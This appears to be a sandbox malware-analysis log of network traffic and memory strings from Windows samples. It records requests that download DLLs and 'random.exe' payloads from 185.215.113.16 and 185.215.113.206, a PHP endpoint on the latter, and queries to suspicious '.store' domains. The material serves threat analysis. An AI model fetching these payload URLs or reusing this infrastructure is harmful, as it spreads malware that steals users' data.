Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=pFAZLDUpUH4eKln&MD=K3Pc2hDt HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 11 Nov 2024 11:23:25 GMTIf-None-Match: "6731e92d-1bc600"
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log0.8.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log0.8.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log0.8.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)
Source: 28d9ab8742.exe, 00000023.00000002.3199336706.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C80f26d8df816a964aafb6ec188b485ed; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=73dcda216238b8f3aa5001ce; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type25594Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveMon, 11 Nov 2024 11:41:48 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Controlh equals www.youtube.com (Youtube)
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: 28d9ab8742.exe, 0000001A.00000003.2890768591.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2875570125.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ttps://www.youtube.com https://www.google.com ht equals www.youtube.com (Youtube)
Source: 28d9ab8742.exe, 0000001A.00000003.2890768591.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000002.3026569663.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2875570125.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: w.gstatic.com/recaptcha/ https://www.youtube.com3 equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: assets2.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic	DNS traffic detected: DNS query: founpiuer.store
Source: global traffic	DNS traffic detected: DNS query: navygenerayk.store
Source: global traffic	DNS traffic detected: DNS query: scriptyprefej.store
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: marshal-zhukov.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 913sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: 28d9ab8742.exe, 0000001A.00000003.2955633341.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: 28d9ab8742.exe, 0000001A.00000003.2955633341.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/8x
Source: 28d9ab8742.exe, 0000001A.00000003.2955633341.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/?x
Source: file.exe, 00000000.00000002.2492153777.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2492153777.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe9
Source: 28d9ab8742.exe, 0000001A.00000002.3026569663.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2955633341.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 28d9ab8742.exe, 0000001A.00000002.3026569663.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2955633341.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exem
Source: 28d9ab8742.exe, 0000001A.00000002.3026569663.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000002.3026232606.000000000093A000.00000004.00000010.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2973952651.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2955633341.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: 28d9ab8742.exe, 0000001A.00000003.2955566516.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeP&/
Source: 28d9ab8742.exe, 0000001A.00000003.2973952651.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/steam/random.exeoft
Source: 3daf81f16e.exe, 0000001B.00000002.2882880413.000000000146E000.00000004.00000020.00020000.00000000.sdmp, 3daf81f16e.exe, 0000001B.00000002.2882880413.00000000014C7000.00000004.00000020.00020000.00000000.sdmp, 3daf81f16e.exe, 00000021.00000002.3090234093.00000000013BB000.00000004.00000020.00020000.00000000.sdmp, 3daf81f16e.exe, 00000024.00000002.3289871087.000000000153B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 3daf81f16e.exe, 00000024.00000002.3289871087.000000000153B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206(
Source: 3daf81f16e.exe, 00000024.00000002.3289871087.000000000153B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 3daf81f16e.exe, 0000001B.00000002.2882880413.00000000014C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/&
Source: 3daf81f16e.exe, 0000001B.00000002.2882880413.00000000014C7000.00000004.00000020.00020000.00000000.sdmp, 3daf81f16e.exe, 00000024.00000002.3289871087.000000000153B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206//
Source: file.exe, 00000000.00000002.2492153777.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll=Ki
Source: file.exe, 00000000.00000002.2492153777.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dlluK
Source: file.exe, 00000000.00000002.2492153777.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2492153777.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2492153777.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2492153777.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll_K
Source: file.exe, 00000000.00000002.2492153777.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2492153777.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllQK
Source: file.exe, 00000000.00000002.2492153777.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll~
Source: file.exe, 00000000.00000002.2492153777.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2492153777.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllT
Source: 3daf81f16e.exe, 00000021.00000002.3090234093.000000000140D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/M
Source: 3daf81f16e.exe, 00000024.00000002.3289871087.000000000158D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/U
Source: 3daf81f16e.exe, 00000024.00000002.3289871087.000000000158D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 3daf81f16e.exe, 0000001B.00000002.2882880413.00000000014C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php#
Source: 3daf81f16e.exe, 0000001B.00000002.2882880413.00000000014C7000.00000004.00000020.00020000.00000000.sdmp, 3daf81f16e.exe, 00000021.00000002.3090234093.000000000140D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: 3daf81f16e.exe, 00000021.00000002.3090234093.000000000140D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/=
Source: 28d9ab8742.exe, 0000001A.00000002.3026569663.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/X
Source: 3daf81f16e.exe, 00000024.00000002.3289871087.0000000001593000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/g
Source: 3daf81f16e.exe, 00000021.00000002.3090234093.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php001
Source: 28d9ab8742.exe, 0000001A.00000002.3026569663.0000000000CD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php37
Source: 3daf81f16e.exe, 0000001B.00000002.2882880413.00000000014C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php7
Source: 3daf81f16e.exe, 00000024.00000002.3289871087.000000000158D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpC
Source: 3daf81f16e.exe, 0000001B.00000002.2882880413.00000000014C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpE
Source: file.exe, 00000000.00000002.2518810297.00000000232D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpF
Source: file.exe, 00000000.00000002.2489334528.0000000000307000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpHCGCBK.exeata;
Source: 3daf81f16e.exe, 00000021.00000002.3090234093.000000000140D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpO=
Source: file.exe, 00000000.00000002.2492153777.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd
Source: 3daf81f16e.exe, 00000024.00000002.3289871087.000000000158D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpg
Source: 3daf81f16e.exe, 00000021.00000002.3090234093.0000000001429000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phph
Source: 28d9ab8742.exe, 0000001A.00000002.3026569663.0000000000CD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpk6
Source: 28d9ab8742.exe, 0000001A.00000002.3026569663.0000000000C52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/fB
Source: 28d9ab8742.exe, 0000001A.00000002.3026569663.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, 3daf81f16e.exe, 0000001B.00000002.2882880413.00000000014C7000.00000004.00000020.00020000.00000000.sdmp, 3daf81f16e.exe, 00000024.00000002.3289871087.0000000001593000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: 3daf81f16e.exe, 00000024.00000002.3289871087.000000000153B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.2063U
Source: file.exe, 00000000.00000002.2489334528.0000000000307000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ngineer
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: 28d9ab8742.exe, 0000001A.00000003.2863482302.0000000005788000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2996995059.0000000005EC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 28d9ab8742.exe, 0000001A.00000003.2863482302.0000000005788000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2996995059.0000000005EC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
